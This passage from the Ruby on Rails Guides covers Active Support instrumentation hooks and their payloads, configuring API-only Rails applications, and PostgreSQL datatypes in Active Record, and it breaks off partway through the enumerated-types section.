Development mode is no longer being cached.

By default, when development mode caching is off, Rails uses :null_store.

6 References

DHH's article on key-based expiration

Ryan Bates' Railscast on cache digests

Active Support Instrumentation

Active Support is a part of core Rails that provides Ruby language extensions, utilities, and other things. One of the things it includes is an instrumentation API that can be used inside an application to measure certain actions that occur within Ruby code, such as those inside a Rails application or the framework itself. It is not limited to Rails, however. It can be used independently in other Ruby scripts if desired.

In this guide, you will learn how to use the Active Support's instrumentation API to measure events inside of Rails and other Ruby code.

After reading this guide, you will know:

What instrumentation can provide.

How to add a subscriber to a hook.

The hooks inside the Rails framework for instrumentation.

How to build a custom instrumentation implementation.

Chapters

Introduction to Instrumentation

Subscribing to an Event

Rails Framework Hooks

Action Controller

Action Controller — Caching

Action Dispatch

Action View

Active Record

Action Mailer

Active Support — Caching

Active Job

Action Cable

Active Storage

Active Storage — Storage Service

Railties

Rails

Exceptions

Creating Custom Events

1 Introduction to Instrumentation

The instrumentation API provided by Active Support allows developers to provide hooks which other developers may hook into. There are several of these within the Rails framework. With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code.

For example, there is a hook provided within Active Record that is called every time Active Record uses an SQL query on a database. This hook could be subscribed to, and used to track the number of queries during a certain action. There's another hook around the processing of an action of a controller. This could be used, for instance, to track how long a specific action has taken.

You are even able to create your own events inside your application which you can later subscribe to.

2 Subscribing to an Event

Subscribing to an event is easy. Use ActiveSupport::Notifications.subscribe with a block to listen to any notification.

The block receives the following arguments:

Name of the event

Time when it started

Time when it finished

A unique ID for the instrumenter that fired the event

The payload for the event

  ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, data|
  # your own custom stuff
  Rails.logger.info "#{name} Received! (started: #{started}, finished: #{finished})" # process_action.action_controller Received (started: 2019-05-05 13:43:57 -0800, finished: 2019-05-05 13:43:58 -0800)
end

If you are concerned about the accuracy of started and finished to compute a precise elapsed time, then use ActiveSupport::Notifications.monotonic_subscribe. The given block would receive the same arguments as above, but the started and finished will have values with an accurate monotonic time instead of wall-clock time.

  ActiveSupport::Notifications.monotonic_subscribe "process_action.action_controller" do |name, started, finished, unique_id, data|
  # your own custom stuff
  Rails.logger.info "#{name} Received! (started: #{started}, finished: #{finished})" # process_action.action_controller Received (started: 1560978.425334, finished: 1560979.429234)
end

Defining all those block arguments each time can be tedious. You can easily create an ActiveSupport::Notifications::Event from block arguments like this:

  ActiveSupport::Notifications.subscribe "process_action.action_controller" do |*args|
  event = ActiveSupport::Notifications::Event.new *args

  event.name      # => "process_action.action_controller"
  event.duration  # => 10 (in milliseconds)
  event.payload   # => {:extra=>information}

  Rails.logger.info "#{event} Received!"
end

You may also pass a block that accepts only one argument, and it will receive an event object:

  ActiveSupport::Notifications.subscribe "process_action.action_controller" do |event|
  event.name      # => "process_action.action_controller"
  event.duration  # => 10 (in milliseconds)
  event.payload   # => {:extra=>information}

  Rails.logger.info "#{event} Received!"
end

You may also subscribe to events matching a regular expression. This enables you to subscribe to multiple events at once. Here's how to subscribe to everything from ActionController:

  ActiveSupport::Notifications.subscribe /action_controller/ do |*args|
  # inspect all ActionController events
end

3 Rails Framework Hooks

Within the Ruby on Rails framework, there are a number of hooks provided for common events. These events and their payloads are detailed below.

3.1 Action Controller

3.1.1 start_processing.action_controller

Key | Value
:controller | The controller name
:action | The action
:params | Hash of request parameters without any filtered parameter
:headers | Request headers
:format | html/js/json/xml etc
:method | HTTP request verb
:path | Request path

  {
  controller: "PostsController",
  action: "new",
  params: { "action" => "new", "controller" => "posts" },
  headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>,
  format: :html,
  method: "GET",
  path: "/posts/new"
}

3.1.2 process_action.action_controller

Key | Value
:controller | The controller name
:action | The action
:params | Hash of request parameters without any filtered parameter
:headers | Request headers
:format | html/js/json/xml etc
:method | HTTP request verb
:path | Request path
:request | The ActionDispatch::Request object
:response | The ActionDispatch::Response object
:status | HTTP status code
:view_runtime | Amount spent in view in ms
:db_runtime | Amount spent executing database queries in ms

  {
  controller: "PostsController",
  action: "index",
  params: {"action" => "index", "controller" => "posts"},
  headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>,
  format: :html,
  method: "GET",
  path: "/posts",
  request: #<ActionDispatch::Request:0x00007ff1cb9bd7b8>,
  response: #<ActionDispatch::Response:0x00007f8521841ec8>,
  status: 200,
  view_runtime: 46.848,
  db_runtime: 0.157
}

3.1.3 send_file.action_controller

Key | Value
:path | Complete path to the file

Additional keys may be added by the caller.

3.1.4 send_data.action_controller

ActionController does not add any specific information to the payload. All options are passed through to the payload.

3.1.5 redirect_to.action_controller

Key | Value
:status | HTTP response code
:location | URL to redirect to
:request | The ActionDispatch::Request object

  {
  status: 302,
  location: "http://localhost:3000/posts/new",
  request: #<ActionDispatch::Request:0x00007ff1cb9bd7b8>
}

3.1.6 halted_callback.action_controller

Key | Value
:filter | Filter that halted the action

  {
  filter: ":halting_filter"
}

3.1.7 unpermitted_parameters.action_controller

Key | Value
:keys | The unpermitted keys
:context | Hash with the following keys: :controller, :action, :params, :request

3.2 Action Controller — Caching

3.2.1 write_fragment.action_controller

Key | Value
:key | The complete key

  {
  key: 'posts/1-dashboard-view'
}

3.2.2 read_fragment.action_controller

Key | Value
:key | The complete key

  {
  key: 'posts/1-dashboard-view'
}

3.2.3 expire_fragment.action_controller

Key | Value
:key | The complete key

  {
  key: 'posts/1-dashboard-view'
}

3.2.4 exist_fragment?.action_controller

Key | Value
:key | The complete key

  {
  key: 'posts/1-dashboard-view'
}

3.3 Action Dispatch

3.3.1 process_middleware.action_dispatch

Key | Value
:middleware | Name of the middleware

3.4 Action View

3.4.1 render_template.action_view

Key | Value
:identifier | Full path to template
:layout | Applicable layout

  {
  identifier: "/Users/adam/projects/notifications/app/views/posts/index.html.erb",
  layout: "layouts/application"
}

3.4.2 render_partial.action_view

Key | Value
:identifier | Full path to template

  {
  identifier: "/Users/adam/projects/notifications/app/views/posts/_form.html.erb"
}

3.4.3 render_collection.action_view

Key | Value
:identifier | Full path to template
:count | Size of collection
:cache_hits | Number of partials fetched from cache

The :cache_hits key is only included if the collection is rendered with cached: true.

  {
  identifier: "/Users/adam/projects/notifications/app/views/posts/_post.html.erb",
  count: 3,
  cache_hits: 0
}

3.4.4 render_layout.action_view

Key | Value
:identifier | Full path to template

  {
  identifier: "/Users/adam/projects/notifications/app/views/layouts/application.html.erb"
}

3.5 Active Record

3.5.1 sql.active_record

Key | Value
:sql | SQL statement
:name | Name of the operation
:connection | Connection object
:binds | Bind parameters
:type_casted_binds | Typecasted bind parameters
:statement_name | SQL Statement name
:cached | true is added when cached queries used

Adapters may add their own data as well.

  {
  sql: "SELECT \"posts\".* FROM \"posts\" ",
  name: "Post Load",
  connection: #<ActiveRecord::ConnectionAdapters::SQLite3Adapter:0x00007f9f7a838850>,
  binds: [#<ActiveModel::Attribute::WithCastValue:0x00007fe19d15dc00>],
  type_casted_binds: [11],
  statement_name: nil
}

3.5.2 instantiation.active_record

Key | Value
:record_count | Number of records that instantiated
:class_name | Record's class

  {
  record_count: 1,
  class_name: "User"
}

3.6 Action Mailer

3.6.1 deliver.action_mailer

Key | Value
:mailer | Name of the mailer class
:message_id | ID of the message, generated by the Mail gem
:subject | Subject of the mail
:to | To address(es) of the mail
:from | From address of the mail
:bcc | BCC addresses of the mail
:cc | CC addresses of the mail
:date | Date of the mail
:mail | The encoded form of the mail
:perform_deliveries | Whether delivery of this message is performed or not

  {
  mailer: "Notification",
  message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
  subject: "Rails Guides",
  to: ["users@rails.com", "dhh@rails.com"],
  from: ["me@rails.com"],
  date: Sat, 10 Mar 2012 14:18:09 +0100,
  mail: "...", # omitted for brevity
  perform_deliveries: true
}

3.6.2 process.action_mailer

Key | Value
:mailer | Name of the mailer class
:action | The action
:args | The arguments

  {
  mailer: "Notification",
  action: "welcome_email",
  args: []
}

3.7 Active Support — Caching

3.7.1 cache_read.active_support

Key | Value
:key | Key used in the store
:store | Name of the store class
:hit | If this read is a hit
:super_operation | :fetch if a read is done with fetch

3.7.2 cache_read_multi.active_support

Key | Value
:key | Keys used in the store
:store | Name of the store class
:hits | Keys of cache hits
:super_operation | :fetch_multi if a read is done with fetch_multi

3.7.3 cache_generate.active_support

This event is only emitted when fetch is called with a block.

Key | Value
:key | Key used in the store
:store | Name of the store class

Options passed to fetch will be merged with the payload when writing to the store.

  {
  key: "name-of-complicated-computation",
  store: "ActiveSupport::Cache::MemCacheStore"
}

3.7.4 cache_fetch_hit.active_support

This event is only emitted when fetch is called with a block.

Key | Value
:key | Key used in the store
:store | Name of the store class

Options passed to fetch will be merged with the payload.

  {
  key: "name-of-complicated-computation",
  store: "ActiveSupport::Cache::MemCacheStore"
}

3.7.5 cache_write.active_support

Key | Value
:key | Key used in the store
:store | Name of the store class

Cache stores may add their own data as well.

  {
  key: "name-of-complicated-computation",
  store: "ActiveSupport::Cache::MemCacheStore"
}

3.7.6 cache_write_multi.active_support

Key | Value
:key | Keys and values written to the store
:store | Name of the store class

3.7.7 cache_increment.active_support

This event is only emitted when using MemCacheStore or RedisCacheStore.

Key | Value
:key | Key used in the store
:store | Name of the store class
:amount | Increment amount

  {
  key: "bottles-of-beer",
  store: "ActiveSupport::Cache::RedisCacheStore",
  amount: 99
}

3.7.8 cache_decrement.active_support

This event is only emitted when using the Memcached or Redis cache stores.

Key | Value
:key | Key used in the store
:store | Name of the store class
:amount | Decrement amount

  {
  key: "bottles-of-beer",
  store: "ActiveSupport::Cache::RedisCacheStore",
  amount: 1
}

3.7.9 cache_delete.active_support

Key | Value
:key | Key used in the store
:store | Name of the store class

  {
  key: "name-of-complicated-computation",
  store: "ActiveSupport::Cache::MemCacheStore"
}

3.7.10 cache_delete_multi.active_support

Key | Value
:key | Keys used in the store
:store | Name of the store class

3.7.11 cache_delete_matched.active_support

This event is only emitted when using RedisCacheStore, FileStore, or MemoryStore.

Key | Value
:key | Key pattern used
:store | Name of the store class

  {
  key: "posts/*",
  store: "ActiveSupport::Cache::RedisCacheStore"
}

3.7.12 cache_cleanup.active_support

This event is only emitted when using MemoryStore.

Key | Value
:store | Name of the store class
:size | Number of entries in the cache before cleanup

  {
  store: "ActiveSupport::Cache::MemoryStore",
  size: 9001
}

3.7.13 cache_prune.active_support

This event is only emitted when using MemoryStore.

Key | Value
:store | Name of the store class
:key | Target size (in bytes) for the cache
:from | Size (in bytes) of the cache before prune

  {
  store: "ActiveSupport::Cache::MemoryStore",
  key: 5000,
  from: 9001
}

3.7.14 cache_exist?.active_support

Key | Value
:key | Key used in the store
:store | Name of the store class

  {
  key: "name-of-complicated-computation",
  store: "ActiveSupport::Cache::MemCacheStore"
}

3.8 Active Job

3.8.1 enqueue_at.active_job

Key | Value
:adapter | QueueAdapter object processing the job
:job | Job object

3.8.2 enqueue.active_job

Key | Value
:adapter | QueueAdapter object processing the job
:job | Job object

3.8.3 enqueue_retry.active_job

Key | Value
:job | Job object
:adapter | QueueAdapter object processing the job
:error | The error that caused the retry
:wait | The delay of the retry

3.8.4 perform_start.active_job

Key | Value
:adapter | QueueAdapter object processing the job
:job | Job object

3.8.5 perform.active_job

Key | Value
:adapter | QueueAdapter object processing the job
:job | Job object

3.8.6 retry_stopped.active_job

Key | Value
:adapter | QueueAdapter object processing the job
:job | Job object
:error | The error that caused the retry

3.8.7 discard.active_job

Key | Value
:adapter | QueueAdapter object processing the job
:job | Job object
:error | The error that caused the discard

3.9 Action Cable

3.9.1 perform_action.action_cable

Key | Value
:channel_class | Name of the channel class
:action | The action
:data | A hash of data

3.9.2 transmit.action_cable

Key | Value
:channel_class | Name of the channel class
:data | A hash of data
:via | Via

3.9.3 transmit_subscription_confirmation.action_cable

Key | Value
:channel_class | Name of the channel class

3.9.4 transmit_subscription_rejection.action_cable

Key | Value
:channel_class | Name of the channel class

3.9.5 broadcast.action_cable

Key | Value
:broadcasting | A named broadcasting
:message | A hash of message
:coder | The coder

3.10 Active Storage

3.10.1 preview.active_storage

Key | Value
:key | Secure token

3.10.2 transform.active_storage

3.10.3 analyze.active_storage

Key | Value
:analyzer | Name of analyzer e.g., ffprobe

3.11 Active Storage — Storage Service

3.11.1 service_upload.active_storage

Key | Value
:key | Secure token
:service | Name of the service
:checksum | Checksum to ensure integrity

3.11.2 service_streaming_download.active_storage

Key | Value
:key | Secure token
:service | Name of the service

3.11.3 service_download_chunk.active_storage

Key | Value
:key | Secure token
:service | Name of the service
:range | Byte range attempted to be read

3.11.4 service_download.active_storage

Key | Value
:key | Secure token
:service | Name of the service

3.11.5 service_delete.active_storage

Key | Value
:key | Secure token
:service | Name of the service

3.11.6 service_delete_prefixed.active_storage

Key | Value
:prefix | Key prefix
:service | Name of the service

3.11.7 service_exist.active_storage

Key | Value
:key | Secure token
:service | Name of the service
:exist | File or blob exists or not

3.11.8 service_url.active_storage

Key | Value
:key | Secure token
:service | Name of the service
:url | Generated URL

3.11.9 service_update_metadata.active_storage

This event is only emitted when using the Google Cloud Storage service.

Key | Value
:key | Secure token
:service | Name of the service
:content_type | HTTP Content-Type field
:disposition | HTTP Content-Disposition field

3.12 Railties

3.12.1 load_config_initializer.railties

Key | Value
:initializer | Path of loaded initializer in config/initializers

3.13 Rails

3.13.1 deprecation.rails

Key | Value
:message | The deprecation warning
:callstack | Where the deprecation came from

4 Exceptions

If an exception happens during any instrumentation the payload will include information about it.

Key | Value
:exception | An array of two elements. Exception class name and the message
:exception_object | The exception object

5 Creating Custom Events

Adding your own events is easy as well. Active Support will take care of all the heavy lifting for you. Simply call ActiveSupport::Notifications.instrument with a name, payload, and a block. The notification will be sent after the block returns. Active Support will generate the start and end times, and add the instrumenter's unique ID. All data passed into the instrument call will make it into the payload.

Here's an example:

  ActiveSupport::Notifications.instrument "my.custom.event", this: :data do
  # do your custom stuff here
end

Now you can listen to this event with:

  ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data|
  puts data.inspect # {:this=>:data}
end

You may also call instrument without passing a block. This lets you leverage the instrumentation infrastructure for other messaging uses.

  ActiveSupport::Notifications.instrument "my.custom.event", this: :data

ActiveSupport::Notifications.subscribe "my.custom.event" do |name, started, finished, unique_id, data|
  puts data.inspect # {:this=>:data}
end

You should follow Rails conventions when defining your own events. The format is: event.library. If your application is sending Tweets, you should create an event named tweet.twitter.

Using Rails for API-only Applications

In this guide you will learn:

What Rails provides for API-only applications

How to configure Rails to start without any browser features

How to decide which middleware you will want to include

How to decide which modules to use in your controller

Chapters

What is an API Application?

Why Use Rails for JSON APIs?

The Basic Configuration

Creating a New Application

Changing an Existing Application

Choosing Middleware

Using the Cache Middleware

Using Rack::Sendfile

Using ActionDispatch::Request

Using Session Middlewares

Other Middleware

Removing Middleware

Choosing Controller Modules

Adding Other Modules

1 What is an API Application?

Traditionally, when people said that they used Rails as an "API", they meant providing a programmatically accessible API alongside their web application. For example, GitHub provides an API that you can use from your own custom clients.

With the advent of client-side frameworks, more developers are using Rails to build a back-end that is shared between their web application and other native applications.

For example, Twitter uses its public API in its web application, which is built as a static site that consumes JSON resources.

Instead of using Rails to generate HTML that communicates with the server through forms and links, many developers are treating their web application as just an API client delivered as HTML with JavaScript that consumes a JSON API.

This guide covers building a Rails application that serves JSON resources to an API client, including client-side frameworks.

2 Why Use Rails for JSON APIs?

The first question a lot of people have when thinking about building a JSON API using Rails is: "isn't using Rails to spit out some JSON overkill? Shouldn't I just use something like Sinatra?".

For very simple APIs, this may be true. However, even in very HTML-heavy applications, most of an application's logic lives outside of the view layer.

The reason most people use Rails is that it provides a set of defaults that allows developers to get up and running quickly, without having to make a lot of trivial decisions.

Let's take a look at some of the things that Rails provides out of the box that are still applicable to API applications.

Handled at the middleware layer:

Reloading: Rails applications support transparent reloading. This works even if your application gets big and restarting the server for every request becomes non-viable.

Development Mode: Rails applications come with smart defaults for development, making development pleasant without compromising production-time performance.

Test Mode: Ditto development mode.

Logging: Rails applications log every request, with a level of verbosity appropriate for the current mode. Rails logs in development include information about the request environment, database queries, and basic performance information.

Security: Rails detects and thwarts IP spoofing attacks and handles cryptographic signatures in a timing attack aware way. Don't know what an IP spoofing attack or a timing attack is? Exactly.

Parameter Parsing: Want to specify your parameters as JSON instead of as a URL-encoded String? No problem. Rails will decode the JSON for you and make it available in params. Want to use nested URL-encoded parameters? That works too.

Conditional GETs: Rails handles conditional GET (ETag and Last-Modified) processing request headers and returning the correct response headers and status code. All you need to do is use the stale? check in your controller, and Rails will handle all of the HTTP details for you.

HEAD requests: Rails will transparently convert HEAD requests into GET ones, and return just the headers on the way out. This makes HEAD work reliably in all Rails APIs.

While you could obviously build these up in terms of existing Rack middleware, this list demonstrates that the default Rails middleware stack provides a lot of value, even if you're "just generating JSON".

Handled at the Action Pack layer:

Resourceful Routing: If you're building a RESTful JSON API, you want to be using the Rails router. Clean and conventional mapping from HTTP to controllers means not having to spend time thinking about how to model your API in terms of HTTP.

URL Generation: The flip side of routing is URL generation. A good API based on HTTP includes URLs (see the GitHub Gist API for an example).

Header and Redirection Responses: head :no_content and redirect_to user_url(current_user) come in handy. Sure, you could manually add the response headers, but why?

Caching: Rails provides page, action, and fragment caching. Fragment caching is especially helpful when building up a nested JSON object.

Basic, Digest, and Token Authentication: Rails comes with out-of-the-box support for three kinds of HTTP authentication.

Instrumentation: Rails has an instrumentation API that triggers registered handlers for a variety of events, such as action processing, sending a file or data, redirection, and database queries. The payload of each event comes with relevant information (for the action processing event, the payload includes the controller, action, parameters, request format, request method, and the request's full path).

Generators: It is often handy to generate a resource and get your model, controller, test stubs, and routes created for you in a single command for further tweaking. Same for migrations and others.

Plugins: Many third-party libraries come with support for Rails that reduce or eliminate the cost of setting up and gluing together the library and the web framework. This includes things like overriding default generators, adding Rake tasks, and honoring Rails choices (like the logger and cache back-end).

Of course, the Rails boot process also glues together all registered components. For example, the Rails boot process is what uses your config/database.yml file when configuring Active Record.

The short version is: you may not have thought about which parts of Rails are still applicable even if you remove the view layer, but the answer turns out to be most of it.

3 The Basic Configuration

If you're building a Rails application that will be an API server first and foremost, you can start with a more limited subset of Rails and add in features as needed.

3.1 Creating a New Application

You can generate a new api Rails app:

  $ rails new my_api --api

This will do three main things for you:

Configure your application to start with a more limited set of middleware than normal. Specifically, it will not include any middleware primarily useful for browser applications (like cookies support) by default.

Make ApplicationController inherit from ActionController::API instead of ActionController::Base. As with middleware, this will leave out any Action Controller modules that provide functionalities primarily used by browser applications.

Configure the generators to skip generating views, helpers, and assets when you generate a new resource.

3.2 Changing an Existing Application

If you want to take an existing application and make it an API one, read the following steps.

In config/application.rb, add the following line at the top of the Application class definition:

  config.api_only = true

In config/environments/development.rb, set config.debug_exception_response_format to configure the format used in responses when errors occur in development mode.

To render an HTML page with debugging information, use the value :default.

  config.debug_exception_response_format = :default

To render debugging information preserving the response format, use the value :api.

  config.debug_exception_response_format = :api

By default, config.debug_exception_response_format is set to :api, when config.api_only is set to true.

Finally, inside app/controllers/application_controller.rb, instead of:

  class ApplicationController < ActionController::Base
end

do:

  class ApplicationController < ActionController::API
end

4 Choosing Middleware

An API application comes with the following middleware by default:

ActionDispatch::HostAuthorization

Rack::Sendfile

ActionDispatch::Static

ActionDispatch::Executor

ActiveSupport::Cache::Strategy::LocalCache::Middleware

Rack::Runtime

ActionDispatch::RequestId

ActionDispatch::RemoteIp

Rails::Rack::Logger

ActionDispatch::ShowExceptions

ActionDispatch::DebugExceptions

ActionDispatch::ActionableExceptions

ActionDispatch::Reloader

ActionDispatch::Callbacks

ActiveRecord::Migration::CheckPending

Rack::Head

Rack::ConditionalGet

Rack::ETag

See the internal middleware section of the Rack guide for further information on them.

Other plugins, including Active Record, may add additional middleware. In general, these middleware are agnostic to the type of application you are building, and make sense in an API-only Rails application.

You can get a list of all middleware in your application via:

  $ bin/rails middleware

4.1 Using the Cache Middleware

By default, Rails will add a middleware that provides a cache store based on the configuration of your application (memcache by default). This means that the built-in HTTP cache will rely on it.

For instance, using the stale? method:

  def show
  @post = Post.find(params[:id])

  if stale?(last_modified: @post.updated_at)
    render json: @post
  end
end

The call to stale? will compare the If-Modified-Since header in the request with @post.updated_at. If the header is newer than the last modified, this action will return a "304 Not Modified" response. Otherwise, it will render the response and include a Last-Modified header in it.

Normally, this mechanism is used on a per-client basis. The cache middleware allows us to share this caching mechanism across clients. We can enable cross-client caching in the call to stale?:

  def show
  @post = Post.find(params[:id])

  if stale?(last_modified: @post.updated_at, public: true)
    render json: @post
  end
end

This means that the cache middleware will store off the Last-Modified value for a URL in the Rails cache, and add an If-Modified-Since header to any subsequent inbound requests for the same URL.

Think of it as page caching using HTTP semantics.

4.2 Using Rack::Sendfile

When you use the send_file method inside a Rails controller, it sets the X-Sendfile header. Rack::Sendfile is responsible for actually sending the file.

If your front-end server supports accelerated file sending, Rack::Sendfile will offload the actual file sending work to the front-end server.

You can configure the name of the header that your front-end server uses for this purpose using config.action_dispatch.x_sendfile_header in the appropriate environment's configuration file.

You can learn more about how to use Rack::Sendfile with popular front-ends in the Rack::Sendfile documentation.

Here are some values for this header for some popular servers, once these servers are configured to support accelerated file sending:

  # Apache and lighttpd
config.action_dispatch.x_sendfile_header = "X-Sendfile"

# Nginx
config.action_dispatch.x_sendfile_header = "X-Accel-Redirect"

Make sure to configure your server to support these options following the instructions in the Rack::Sendfile documentation.

4.3 Using ActionDispatch::Request

ActionDispatch::Request#params will take parameters from the client in the JSON format and make them available in your controller inside params.

To use this, your client will need to make a request with JSON-encoded parameters and specify the Content-Type as application/json.

Here's an example in jQuery:

  jQuery.ajax({
  type: 'POST',
  url: '/people',
  dataType: 'json',
  contentType: 'application/json',
  data: JSON.stringify({ person: { firstName: "Yehuda", lastName: "Katz" } }),
  success: function(json) { }
});

ActionDispatch::Request will see the Content-Type and your parameters will be:

  { :person => { :firstName => "Yehuda", :lastName => "Katz" } }

4.4 Using Session Middlewares

The following middlewares, used for session management, are excluded from API apps since they normally don't need sessions. If one of your API clients is a browser, you might want to add one of these back in:

ActionDispatch::Session::CacheStore

ActionDispatch::Session::CookieStore

ActionDispatch::Session::MemCacheStore

The trick to adding these back in is that, by default, they are passed session_options when added (including the session key), so you can't just add a session_store.rb initializer, add use ActionDispatch::Session::CookieStore and have sessions functioning as usual. (To be clear: sessions may work, but your session options will be ignored - i.e. the session key will default to _session_id)

Instead of the initializer, you'll have to set the relevant options somewhere before your middleware is built (like config/application.rb) and pass them to your preferred middleware, like this:

  # This also configures session_options for use below
config.session_store :cookie_store, key: '_interslice_session'

# Required for all session management (regardless of session_store)
config.middleware.use ActionDispatch::Cookies

config.middleware.use config.session_store, config.session_options

4.5 Other Middleware

Rails ships with a number of other middleware that you might want to use in an API application, especially if one of your API clients is the browser:

Rack::MethodOverride

ActionDispatch::Cookies

ActionDispatch::Flash

Any of these middleware can be added via:

  config.middleware.use Rack::MethodOverride

4.6 Removing Middleware

If you don't want to use a middleware that is included by default in the API-only middleware set, you can remove it with:

  config.middleware.delete ::Rack::Sendfile

Keep in mind that removing these middlewares will remove support for certain features in Action Controller.

5 Choosing Controller Modules

An API application (using ActionController::API) comes with the following controller modules by default:

ActionController::UrlFor: Makes url_for and similar helpers available.

ActionController::Redirecting: Support for redirect_to.

AbstractController::Rendering and ActionController::ApiRendering: Basic support for rendering.

ActionController::Renderers::All: Support for render :json and friends.

ActionController::ConditionalGet: Support for stale?.

ActionController::BasicImplicitRender: Makes sure to return an empty response, if there isn't an explicit one.

ActionController::StrongParameters: Support for parameters filtering in combination with Active Model mass assignment.

ActionController::DataStreaming: Support for send_file and send_data.

AbstractController::Callbacks: Support for before_action and similar helpers.

ActionController::Rescue: Support for rescue_from.

ActionController::Instrumentation: Support for the instrumentation hooks defined by Action Controller (see the instrumentation guide for more information regarding this).

ActionController::ParamsWrapper: Wraps the parameters hash into a nested hash, so that you don't have to specify root elements sending POST requests for instance.

ActionController::Head: Support for returning a response with no content, only headers.

Other plugins may add additional modules. You can get a list of all modules included into ActionController::API in the rails console:

  irb> ActionController::API.ancestors - ActionController::Metal.ancestors
=> [ActionController::API,
    ActiveRecord::Railties::ControllerRuntime,
    ActionDispatch::Routing::RouteSet::MountedHelpers,
    ActionController::ParamsWrapper,
    ... ,
    AbstractController::Rendering,
    ActionView::ViewPaths]

5.1 Adding Other Modules

All Action Controller modules know about their dependent modules, so you can feel free to include any modules into your controllers, and all dependencies will be included and set up as well.

Some common modules you might want to add:

AbstractController::Translation: Support for the l and t localization and translation methods.

Support for basic, digest, or token HTTP authentication:

ActionController::HttpAuthentication::Basic::ControllerMethods

ActionController::HttpAuthentication::Digest::ControllerMethods

ActionController::HttpAuthentication::Token::ControllerMethods

ActionView::Layouts: Support for layouts when rendering.

ActionController::MimeResponds: Support for respond_to.

ActionController::Cookies: Support for cookies, which includes support for signed and encrypted cookies. This requires the cookies middleware.

ActionController::Caching: Support view caching for the API controller. Please note that you will need to manually specify the cache store inside the controller like this:

class ApplicationController < ActionController::API
  include ::ActionController::Caching
  self.cache_store = :mem_cache_store
end

Rails does not pass this configuration automatically.

The best place to add a module is in your ApplicationController, but you can also add modules to individual controllers.

Active Record and PostgreSQL

This guide covers PostgreSQL specific usage of Active Record.

After reading this guide, you will know:

How to use PostgreSQL's datatypes.

How to use UUID primary keys.

How to implement full text search with PostgreSQL.

How to back your Active Record models with database views.

Chapters

Datatypes

Bytea

Array

Hstore

JSON and JSONB

Range Types

Composite Types

Enumerated Types

UUID

Bit String Types

Network Address Types

Geometric Types

Interval

UUID Primary Keys

Generated Columns

Full Text Search

Database Views

Structure Dumps

In order to use the PostgreSQL adapter you need to have at least version 9.3 installed. Older versions are not supported.

To get started with PostgreSQL have a look at the configuring Rails guide. It describes how to properly set up Active Record for PostgreSQL.

1 Datatypes

PostgreSQL offers a number of specific datatypes. Following is a list of types, that are supported by the PostgreSQL adapter.

1.1 Bytea

type definition

functions and operators

  # db/migrate/20140207133952_create_documents.rb
create_table :documents do |t|
  t.binary 'payload'
end

  # app/models/document.rb
class Document < ApplicationRecord
end

  # Usage
data = File.read(Rails.root + "tmp/output.pdf")
Document.create payload: data

1.2 Array

type definition

functions and operators

  # db/migrate/20140207133952_create_books.rb
create_table :books do |t|
  t.string 'title'
  t.string 'tags', array: true
  t.integer 'ratings', array: true
end
add_index :books, :tags, using: 'gin'
add_index :books, :ratings, using: 'gin'

  # app/models/book.rb
class Book < ApplicationRecord
end

  # Usage
Book.create title: "Brave New World",
            tags: ["fantasy", "fiction"],
            ratings: [4, 5]

## Books for a single tag
Book.where("'fantasy' = ANY (tags)")

## Books for multiple tags
Book.where("tags @> ARRAY[?]::varchar[]", ["fantasy", "fiction"])

## Books with 3 or more ratings
Book.where("array_length(ratings, 1) >= 3")

1.3 Hstore

type definition

functions and operators

You need to enable the hstore extension to use hstore.

  # db/migrate/20131009135255_create_profiles.rb
class CreateProfiles < ActiveRecord::Migration[7.0]
  enable_extension 'hstore' unless extension_enabled?('hstore')
  create_table :profiles do |t|
    t.hstore 'settings'
  end
end

  # app/models/profile.rb
class Profile < ApplicationRecord
end

  irb> Profile.create(settings: { "color" => "blue", "resolution" => "800x600" })

irb> profile = Profile.first
irb> profile.settings
=> {"color"=>"blue", "resolution"=>"800x600"}

irb> profile.settings = {"color" => "yellow", "resolution" => "1280x1024"}
irb> profile.save!

irb> Profile.where("settings->'color' = ?", "yellow")
=> #<ActiveRecord::Relation [#<Profile id: 1, settings: {"color"=>"yellow", "resolution"=>"1280x1024"}>]>

1.4 JSON and JSONB

type definition

functions and operators

  # db/migrate/20131220144913_create_events.rb
# ... for json datatype:
create_table :events do |t|
  t.json 'payload'
end
# ... or for jsonb datatype:
create_table :events do |t|
  t.jsonb 'payload'
end

  # app/models/event.rb
class Event < ApplicationRecord
end

  irb> Event.create(payload: { kind: "user_renamed", change: ["jack", "john"]})

irb> event = Event.first
irb> event.payload
=> {"kind"=>"user_renamed", "change"=>["jack", "john"]}

## Query based on JSON document
# The -> operator returns the original JSON type (which might be an object), whereas ->> returns text
irb> Event.where("payload->>'kind' = ?", "user_renamed")

1.5 Range Types

type definition

functions and operators

This type is mapped to Ruby Range objects.

  # db/migrate/20130923065404_create_events.rb
create_table :events do |t|
  t.daterange 'duration'
end

  # app/models/event.rb
class Event < ApplicationRecord
end

  irb> Event.create(duration: Date.new(2014, 2, 11)..Date.new(2014, 2, 12))

irb> event = Event.first
irb> event.duration
=> Tue, 11 Feb 2014...Thu, 13 Feb 2014

## All Events on a given date
irb> Event.where("duration @> ?::date", Date.new(2014, 2, 12))

## Working with range bounds
irb> event = Event.select("lower(duration) AS starts_at").select("upper(duration) AS ends_at").first

irb> event.starts_at
=> Tue, 11 Feb 2014
irb> event.ends_at
=> Thu, 13 Feb 2014

1.6 Composite Types

type definition

Currently there is no special support for composite types. They are mapped to normal text columns:

  CREATE TYPE full_address AS
(
  city VARCHAR(90),
  street VARCHAR(90)
);

  # db/migrate/20140207133952_create_contacts.rb
execute <<-SQL
  CREATE TYPE full_address AS
  (
    city VARCHAR(90),
    street VARCHAR(90)
  );
SQL
create_table :contacts do |t|
  t.column :address, :full_address
end

  # app/models/contact.rb
class Contact < ApplicationRecord
end

  irb> Contact.create address: "(Paris,Champs-Élysées)"
irb> contact = Contact.first
irb> contact.address
=> "(Paris,Champs-Élysées)"
irb> contact.address = "(Paris,Rue Basse)"
irb> contact.save!

1.7 Enumerated Types

type definition

The type can be mapped as a normal text column, or to an ActiveRecord::Enum.

  # db/migrate/20131220144913_create_articles.rb
def up
  create_enum :article_status, ["draft", "published"]

  create_table :articles do |t|
    t.enum :status, enum_type: :article_status, default: "draft", null: false
  end
end

# There's no built in support for dropping enums, but you can do it manually.
# You should first drop any table that depends on them.
def down
